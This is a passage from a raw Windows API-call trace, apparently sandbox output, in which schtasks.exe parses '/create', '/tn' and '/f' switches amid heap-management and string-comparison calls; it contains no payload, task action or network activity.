(lpString="f") returned 1 [0080.895] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.895] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|run|") returned 5 [0080.895] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|f|") returned 3 [0080.895] lstrlenW (lpString="|run|") returned 5 [0080.895] lstrlenW (lpString="|f|") returned 3 [0080.895] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0080.895] SetLastError (dwErrCode=0x490) [0080.895] lstrlenW (lpString="end") returned 3 [0080.895] lstrlenW (lpString="end") returned 3 [0080.895] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.895] lstrlenW (lpString="f") returned 1 [0080.895] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.895] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|end|") returned 5 [0080.895] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|f|") returned 3 [0080.895] lstrlenW (lpString="|end|") returned 5 [0080.895] lstrlenW (lpString="|f|") returned 3 [0080.895] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0080.895] SetLastError (dwErrCode=0x490) [0080.895] lstrlenW (lpString="showsid") returned 7 [0080.895] lstrlenW (lpString="showsid") returned 7 [0080.895] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.895] lstrlenW (lpString="f") returned 1 [0080.895] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.895] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0xa, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|showsid|") returned 9 [0080.895] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|f|") returned 3 [0080.895] lstrlenW (lpString="|showsid|") returned 9 [0080.895] lstrlenW (lpString="|f|") returned 3 [0080.895] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0080.896] SetLastError (dwErrCode=0x490) [0080.896] SetLastError (dwErrCode=0x490) [0080.896] SetLastError (dwErrCode=0x0) [0080.896] lstrlenW (lpString="/f") returned 2 [0080.896] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0080.896] SetLastError (dwErrCode=0x490) [0080.896] SetLastError (dwErrCode=0x0) [0080.896] lstrlenW (lpString="/f") returned 2 [0080.896] GetProcessHeap () returned 0x260000 [0080.896] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x6) returned 0x27c6b0 [0080.896] GetProcessHeap () returned 0x260000 [0080.896] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x20) returned 0x27cf80 [0080.896] SetLastError (dwErrCode=0x0) [0080.896] GetProcessHeap () returned 0x260000 [0080.896] GetProcessHeap () returned 0x260000 [0080.896] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27c3a0) returned 1 [0080.896] GetProcessHeap () returned 0x260000 [0080.896] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27c3a0) returned 0x8 [0080.896] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27c3a0 | out: hHeap=0x260000) returned 1 [0080.896] GetProcessHeap () returned 0x260000 [0080.896] GetProcessHeap () returned 0x260000 [0080.896] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27cdd0) returned 1 [0080.896] GetProcessHeap () returned 0x260000 [0080.896] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27cdd0) returned 0x20 [0080.897] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27cdd0 | out: hHeap=0x260000) returned 1 [0080.897] GetProcessHeap () returned 0x260000 [0080.897] GetProcessHeap () returned 0x260000 [0080.897] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27ce00) returned 1 [0080.897] GetProcessHeap () returned 0x260000 [0080.897] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27ce00) returned 0x26 [0080.898] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27ce00 | out: hHeap=0x260000) returned 1 [0080.898] GetProcessHeap () returned 0x260000 [0080.898] GetProcessHeap () returned 0x260000 [0080.898] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27ce30) returned 1 [0080.898] GetProcessHeap () returned 0x260000 [0080.898] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27ce30) returned 0x20 [0080.899] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27ce30 | out: hHeap=0x260000) returned 1 [0080.899] GetProcessHeap () returned 0x260000 [0080.899] GetProcessHeap () returned 0x260000 [0080.899] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27c430) returned 1 [0080.899] GetProcessHeap () returned 0x260000 [0080.899] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27c430) returned 0x8 [0080.899] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27c430 | out: hHeap=0x260000) returned 1 [0080.899] GetProcessHeap () returned 0x260000 [0080.899] GetProcessHeap () returned 0x260000 [0080.900] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27ce60) returned 1 [0080.900] GetProcessHeap () returned 0x260000 [0080.900] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27ce60) returned 0x20 [0080.900] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27ce60 | out: hHeap=0x260000) returned 1 [0080.901] GetProcessHeap () returned 0x260000 [0080.901] GetProcessHeap () returned 0x260000 [0080.901] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27c450) returned 1 [0080.901] GetProcessHeap () returned 0x260000 [0080.901] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27c450) returned 0xe [0080.901] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27c450 | out: hHeap=0x260000) returned 1 [0080.901] GetProcessHeap () returned 0x260000 [0080.901] GetProcessHeap () returned 0x260000 [0080.901] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27ce90) returned 1 [0080.901] GetProcessHeap () returned 0x260000 [0080.901] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27ce90) returned 0x20 [0080.902] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27ce90 | out: hHeap=0x260000) returned 1 [0080.902] GetProcessHeap () returned 0x260000 [0080.902] GetProcessHeap () returned 0x260000 [0080.902] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27c470) returned 1 [0080.902] GetProcessHeap () returned 0x260000 [0080.902] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27c470) returned 0x8 [0080.902] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27c470 | out: hHeap=0x260000) returned 1 [0080.902] GetProcessHeap () returned 0x260000 [0080.902] GetProcessHeap () returned 0x260000 [0080.902] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27cec0) returned 1 [0080.902] GetProcessHeap () returned 0x260000 [0080.902] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27cec0) returned 0x20 [0080.903] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27cec0 | out: hHeap=0x260000) returned 1 [0080.903] GetProcessHeap () returned 0x260000 [0080.903] GetProcessHeap () returned 0x260000 [0080.903] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27c490) returned 1 [0080.903] GetProcessHeap () returned 0x260000 [0080.903] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27c490) returned 0x6 [0080.903] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27c490 | out: hHeap=0x260000) returned 1 [0080.903] GetProcessHeap () returned 0x260000 [0080.903] GetProcessHeap () returned 0x260000 [0080.903] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27cef0) returned 1 [0080.903] GetProcessHeap () returned 0x260000 [0080.903] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27cef0) returned 0x20 [0080.904] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27cef0 | out: hHeap=0x260000) returned 1 [0080.904] GetProcessHeap () returned 0x260000 [0080.904] GetProcessHeap () returned 0x260000 [0080.904] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27c4b0) returned 1 [0080.904] GetProcessHeap () returned 0x260000 [0080.904] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27c4b0) returned 0x8 [0080.904] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27c4b0 | out: hHeap=0x260000) returned 1 [0080.904] GetProcessHeap () returned 0x260000 [0080.904] GetProcessHeap () returned 0x260000 [0080.904] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27cf20) returned 1 [0080.904] GetProcessHeap () returned 0x260000 [0080.904] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27cf20) returned 0x20 [0080.905] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27cf20 | out: hHeap=0x260000) returned 1 [0080.905] GetProcessHeap () returned 0x260000 [0080.905] GetProcessHeap () returned 0x260000 [0080.905] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27c5f0) returned 1 [0080.905] GetProcessHeap () returned 0x260000 [0080.905] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27c5f0) returned 0xae [0080.906] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27c5f0 | out: hHeap=0x260000) returned 1 [0080.906] GetProcessHeap () returned 0x260000 [0080.907] GetProcessHeap () returned 0x260000 [0080.907] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27cf50) returned 1 [0080.907] GetProcessHeap () returned 0x260000 [0080.907] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27cf50) returned 0x20 [0080.908] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27cf50 | out: hHeap=0x260000) returned 1 [0080.908] GetProcessHeap () returned 0x260000 [0080.908] GetProcessHeap () returned 0x260000 [0080.908] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27c6b0) returned 1 [0080.908] GetProcessHeap () returned 0x260000 [0080.908] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27c6b0) returned 0x6 [0080.908] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27c6b0 | out: hHeap=0x260000) returned 1 [0080.908] GetProcessHeap () returned 0x260000 [0080.908] GetProcessHeap () returned 0x260000 [0080.908] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27cf80) returned 1 [0080.908] GetProcessHeap () returned 0x260000 [0080.908] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27cf80) returned 0x20 [0080.908] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27cf80 | out: hHeap=0x260000) returned 1 [0080.908] GetProcessHeap () returned 0x260000 [0080.908] GetProcessHeap () returned 0x260000 [0080.908] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x2755d0) returned 1 [0080.908] GetProcessHeap () returned 0x260000 [0080.908] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x2755d0) returned 0x18 [0080.909] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x2755d0 | out: hHeap=0x260000) returned 1 [0080.909] SetLastError (dwErrCode=0x0) [0080.909] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0080.909] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0080.909] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0080.909] VerifyVersionInfoW (in: lpVersionInformation=0x13c3f0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x13c3f0) returned 1 [0080.909] SetLastError (dwErrCode=0x0) [0080.909] lstrlenW (lpString="create") returned 6 [0080.909] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0080.909] SetLastError (dwErrCode=0x490) [0080.909] SetLastError (dwErrCode=0x0) [0080.922] lstrlenW (lpString="create") returned 6 [0080.922] GetProcessHeap () returned 0x260000 [0080.922] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x20) returned 0x27cf80 [0080.922] GetProcessHeap () returned 0x260000 [0080.922] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x18) returned 0x27d6c0 [0080.922] _memicmp (_Buf1=0x27d6c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.922] GetProcessHeap () returned 0x260000 [0080.922] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x16) returned 0x27d6e0 [0080.922] SetLastError (dwErrCode=0x0) [0080.922] _memicmp (_Buf1=0x27bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.922] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x27bdd0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0080.922] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0080.923] GetProcessHeap () returned 0x260000 [0080.923] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x74e) returned 0x27de90 [0080.923] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x27de90 | out: lpData=0x27de90) returned 1 [0080.923] VerQueryValueW (in: pBlock=0x27de90, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x13c4d8, puLen=0x13c540 | out: lplpBuffer=0x13c4d8*=0x27e22c, puLen=0x13c540) returned 1 [0080.923] _memicmp (_Buf1=0x27bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.923] _vsnwprintf (in: _Buffer=0x27bdd0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x13c4b8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0080.923] VerQueryValueW (in: pBlock=0x27de90, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x13c548, puLen=0x13c538 | out: lplpBuffer=0x13c548*=0x27e058, puLen=0x13c538) returned 1 [0080.923] lstrlenW (lpString="schtasks.exe") returned 12 [0080.923] lstrlenW (lpString="schtasks.exe") returned 12 [0080.923] lstrlenW (lpString=".EXE") returned 4 [0080.923] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0080.923] lstrlenW (lpString="schtasks.exe") returned 12 [0080.923] lstrlenW (lpString=".EXE") returned 4 [0080.923] lstrlenW (lpString="schtasks") returned 8 [0080.923] lstrlenW (lpString="/create") returned 7 [0080.923] _memicmp (_Buf1=0x27bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.924] _vsnwprintf (in: _Buffer=0x27bdd0, _BufferCount=0x19, _Format="%s %s", _ArgList=0x13c4b8 | out: _Buffer="schtasks /create") returned 16 [0080.924] _memicmp (_Buf1=0x27bc50, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.924] GetProcessHeap () returned 0x260000 [0080.924] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x20) returned 0x27cf50 [0080.924] _memicmp (_Buf1=0x27bc70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.924] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x27d480, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0080.924] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0080.924] GetProcessHeap () returned 0x260000 [0080.924] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x30) returned 0x277c90 [0080.924] _vsnwprintf (in: _Buffer=0x27c1d0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x13c4b8 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0080.924] GetProcessHeap () returned 0x260000 [0080.924] GetProcessHeap () returned 0x260000 [0080.924] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27de90) returned 1 [0080.924] GetProcessHeap () returned 0x260000 [0080.924] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27de90) returned 0x74e [0080.925] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27de90 | out: hHeap=0x260000) returned 1 [0080.929] SetLastError (dwErrCode=0x0) [0080.929] GetThreadLocale () returned 0x409 [0080.929] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.929] lstrlenW (lpString="create") returned 6 [0080.929] GetThreadLocale () returned 0x409 [0080.929] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.929] lstrlenW (lpString="?") returned 1 [0080.929] GetThreadLocale () returned 0x409 [0080.929] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.929] lstrlenW (lpString="s") returned 1 [0080.929] GetThreadLocale () returned 0x409 [0080.929] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.929] lstrlenW (lpString="u") returned 1 [0080.929] GetThreadLocale () returned 0x409 [0080.929] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.930] lstrlenW (lpString="p") returned 1 [0080.930] GetThreadLocale () returned 0x409 [0080.930] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.930] lstrlenW (lpString="ru") returned 2 [0080.930] GetThreadLocale () returned 0x409 [0080.930] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.930] lstrlenW (lpString="rp") returned 2 [0080.930] GetThreadLocale () returned 0x409 [0080.930] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.930] lstrlenW (lpString="sc") returned 2 [0080.930] GetThreadLocale () returned 0x409 [0080.931] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.931] lstrlenW (lpString="mo") returned 2 [0080.931] GetThreadLocale () returned 0x409 [0080.931] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.931] lstrlenW (lpString="d") returned 1 [0080.931] GetThreadLocale () returned 0x409 [0080.931] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.931] lstrlenW (lpString="m") returned 1 [0080.931] GetThreadLocale () returned 0x409 [0080.931] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.931] lstrlenW (lpString="i") returned 1 [0080.931] GetThreadLocale () returned 0x409 [0080.931] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.931] lstrlenW (lpString="tn") returned 2 [0080.931] GetThreadLocale () returned 0x409 [0080.931] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.932] lstrlenW (lpString="tr") returned 2 [0080.932] GetThreadLocale () returned 0x409 [0080.932] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.932] lstrlenW (lpString="st") returned 2 [0080.932] GetThreadLocale () returned 0x409 [0080.932] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.932] lstrlenW (lpString="sd") returned 2 [0080.932] GetThreadLocale () returned 0x409 [0080.932] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.932] lstrlenW (lpString="ed") returned 2 [0080.932] GetThreadLocale () returned 0x409 [0080.932] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.932] lstrlenW (lpString="it") returned 2 [0080.932] GetThreadLocale () returned 0x409 [0080.932] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.932] lstrlenW (lpString="et") returned 2 [0080.933] GetThreadLocale () returned 0x409 [0080.933] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.933] lstrlenW (lpString="k") returned 1 [0080.933] GetThreadLocale () returned 0x409 [0080.933] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.933] lstrlenW (lpString="du") returned 2 [0080.933] GetThreadLocale () returned 0x409 [0080.933] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.933] lstrlenW (lpString="ri") returned 2 [0080.933] GetThreadLocale () returned 0x409 [0080.933] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.933] lstrlenW (lpString="z") returned 1 [0080.933] GetThreadLocale () returned 0x409 [0080.933] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.933] lstrlenW (lpString="f") returned 1 [0080.933] GetThreadLocale () returned 0x409 [0080.933] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.934] lstrlenW (lpString="v1") returned 2 [0080.934] GetThreadLocale () returned 0x409 [0080.934] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.934] lstrlenW (lpString="xml") returned 3 [0080.934] GetThreadLocale () returned 0x409 [0080.934] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.934] lstrlenW (lpString="ec") returned 2 [0080.934] GetThreadLocale () returned 0x409 [0080.934] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.934] lstrlenW (lpString="rl") returned 2 [0080.934] GetThreadLocale () returned 0x409 [0080.934] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.934] lstrlenW (lpString="delay") returned 5 [0080.934] GetThreadLocale () returned 0x409 [0080.934] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.934] lstrlenW (lpString="np") returned 2 [0080.935] SetLastError (dwErrCode=0x0) [0080.935] SetLastError (dwErrCode=0x0) [0080.935] lstrlenW (lpString="/create") returned 7 [0080.935] lstrlenW (lpString="-/") returned 2 [0080.935] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0080.935] lstrlenW (lpString="create") returned 6 [0080.935] lstrlenW (lpString="create") returned 6 [0080.935] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.935] lstrlenW (lpString="create") returned 6 [0080.935] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.935] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|create|") returned 8 [0080.935] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|create|") returned 8 [0080.935] lstrlenW (lpString="|create|") returned 8 [0080.936] lstrlenW (lpString="|create|") returned 8 [0080.936] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0080.936] SetLastError (dwErrCode=0x0) [0080.936] SetLastError (dwErrCode=0x0) [0080.936] SetLastError (dwErrCode=0x0) [0080.936] lstrlenW (lpString="/tn") returned 3 [0080.936] lstrlenW (lpString="-/") returned 2 [0080.936] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0080.936] lstrlenW (lpString="create") returned 6 [0080.936] lstrlenW (lpString="create") returned 6 [0080.936] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.936] lstrlenW (lpString="tn") returned 2 [0080.936] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.936] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|create|") returned 8 [0080.936] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|tn|") returned 4 [0080.937] lstrlenW (lpString="|create|") returned 8 [0080.937] lstrlenW (lpString="|tn|") returned 4 [0080.937] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0080.937] SetLastError (dwErrCode=0x490) [0080.937] lstrlenW (lpString="?") returned 1 [0080.937] lstrlenW (lpString="?") returned 1 [0080.937] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.937] lstrlenW (lpString="tn") returned 2 [0080.937] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.937] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|?|") returned 3 [0080.937] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|tn|") returned 4 [0080.937] lstrlenW (lpString="|?|") returned 3 [0080.937] lstrlenW (lpString="|tn|") returned 4 [0080.937] SetLastError (dwErrCode=0x490) [0080.938] lstrlenW (lpString="s") returned 1 [0080.938] lstrlenW (lpString="s") returned 1 [0080.938] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.938] lstrlenW (lpString="tn") returned 2 [0080.938] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.938] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|s|") returned 3 [0080.938] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|tn|") returned 4 [0080.938] lstrlenW (lpString="|s|") returned 3 [0080.938] lstrlenW (lpString="|tn|") returned 4 [0080.938] SetLastError (dwErrCode=0x490) [0080.938] lstrlenW (lpString="u") returned 1 [0080.938] lstrlenW (lpString="u") returned 1 [0080.938] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.938] lstrlenW (lpString="tn") returned 2 [0080.938] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.938] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|u|") returned 3 [0080.939] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", 